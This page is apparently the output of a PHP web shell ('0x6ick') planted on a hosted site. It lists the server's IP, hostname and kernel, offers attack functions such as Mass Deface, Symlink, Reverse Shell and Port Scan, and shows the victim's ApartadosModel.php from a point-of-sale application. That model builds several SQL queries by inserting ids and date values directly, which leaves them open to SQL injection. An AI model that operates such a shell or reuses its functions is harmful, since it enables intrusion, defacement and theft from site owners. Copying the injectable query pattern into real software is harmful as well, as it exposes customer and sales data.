Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
models
/
Viewing: ApartadosModel.php
<?php class ApartadosModel extends Query { public function __construct() { parent::__construct(); } public function getProducto($idProducto) { $sql = "SELECT * FROM productos WHERE id = $idProducto"; return $this->select($sql); } public function registrarApartado($productos, $fecha_create, $fecha_apartado, $fecha_retiro, $abono, $total, $color, $moneda, $idCliente, $id_usuario, $id_sucursal) { $sql = "INSERT INTO apartados (productos, fecha_create, fecha_apartado, fecha_retiro, abono, total, color, moneda, id_cliente, id_usuario, id_sucursal) VALUES (?,?,?,?,?,?,?,?,?,?,?)"; $array = array($productos, $fecha_create, $fecha_apartado, $fecha_retiro, $abono, $total, $color, $moneda, $idCliente, $id_usuario, $id_sucursal); return $this->insertar($sql, $array); } public function registrarDetalle($monto, $id_caja, $idApartado, $id_usuario, $id_formapago) { $sql = "INSERT INTO detalle_apartado (monto, id_caja, id_apartado, id_usuario, id_formapago) VALUES (?,?,?,?,?)"; $array = array($monto, $id_caja, $idApartado, $id_usuario, $id_formapago); return $this->insertar($sql, $array); } public function getEmpresa($id_sucursal) { $sql = "SELECT * FROM sucursales WHERE id = $id_sucursal"; return $this->select($sql); } public function getApartado($idApartado) { $sql = "SELECT ap.*, cl.identidad, cl.num_identidad, cl.nombre, cl.telefono, cl.direccion, COALESCE(SUM(da.monto), 0) AS abono FROM apartados ap INNER JOIN clientes cl ON ap.id_cliente = cl.id LEFT JOIN detalle_apartado da ON da.id_apartado = ap.id WHERE ap.id = $idApartado GROUP BY ap.id, cl.identidad, cl.num_identidad, cl.nombre, cl.telefono, cl.direccion"; return $this->select($sql); } public function getApartados($id_sucursal, $fechaInicio = null, $fechaFin = null) { $sql = "SELECT ap.*, cl.nombre, COALESCE(SUM(da.monto), 0) AS abono FROM apartados ap INNER JOIN clientes cl ON ap.id_cliente = cl.id LEFT JOIN detalle_apartado da ON da.id_apartado = ap.id WHERE ap.id_sucursal = $id_sucursal AND ap.estado <> 2"; if (!empty($fechaInicio) && !empty($fechaFin)) { $sql .= " AND ap.fecha_create BETWEEN '$fechaInicio' AND '$fechaFin'"; } $sql .= " GROUP BY ap.id, cl.nombre"; return $this->selectAll($sql); } public function eliminarApartadoFisico($idApartado, $id_sucursal) { $sql = "DELETE FROM apartados WHERE id = ? AND id_sucursal = ?"; return $this->delete($sql, [$idApartado, $id_sucursal]); } public function procesarEntrega($abono, $estado, $idApartado) { $sql = "UPDATE apartados SET abono = ?, estado = ? WHERE id = ?"; $array = array($abono, $estado, $idApartado); return $this->save($sql, $array); } //actualizar detalle public function actualizarDetalle($abono, $idApartado) { $sql = "UPDATE detalle_apartado SET monto = ? WHERE id_apartado = ?"; $array = array($abono, $idApartado); return $this->save($sql, $array); } //actualizar stock} public function actualizarStock($cantidad, $ventas, $idProducto) { $sql = "UPDATE productos SET cantidad = ?, ventas=? WHERE id = ?"; $array = array($cantidad, $ventas, $idProducto); return $this->save($sql, $array); } //movimiento public function registrarMovimiento($movimiento, $accion, $cantidad, $stockActual, $idProducto, $id_usuario, $id_sucursal) { $sql = "INSERT INTO inventario (movimiento, accion, cantidad, stock_actual, id_producto, id_usuario, id_sucursal) VALUES (?,?,?,?,?,?,?)"; $array = array($movimiento, $accion, $cantidad, $stockActual, $idProducto, $id_usuario, $id_sucursal); return $this->insertar($sql, $array); } public function getCaja($id_sucursal) { $idUsuario = isset($_SESSION['id_usuario']) ? (int)$_SESSION['id_usuario'] : 0; $filtroUsuario = empty($_SESSION['rol']) ? '' : " AND id_usuario = $idUsuario"; $idCajaActiva = isset($_SESSION['id_caja_activa']) ? (int)$_SESSION['id_caja_activa'] : 0; if ($idCajaActiva > 0) { $sql = "SELECT * FROM cajas WHERE estado = 1 AND id_sucursal = $id_sucursal AND id = $idCajaActiva" . $filtroUsuario . " ORDER BY id DESC"; $cajaActiva = $this->select($sql); if (!empty($cajaActiva)) { return $cajaActiva; } } $sql = "SELECT * FROM cajas WHERE estado = 1 AND id_sucursal = $id_sucursal" . $filtroUsuario . " ORDER BY id DESC"; return $this->select($sql); } public function getTotalAbonos($idApartado) { $sql = "SELECT COALESCE(SUM(monto), 0) AS total FROM detalle_apartado WHERE id_apartado = $idApartado"; return $this->select($sql); } public function actualizarAbonoApartado($abono, $idApartado) { $sql = "UPDATE apartados SET abono = ? WHERE id = ?"; $array = array($abono, $idApartado); return $this->save($sql, $array); } public function getFormapagosActivos() { $sql = "SELECT id, formapago FROM formapagos WHERE estado = 1 ORDER BY id ASC"; return $this->selectAll($sql); } }
Coded With 💗 by
0x6ick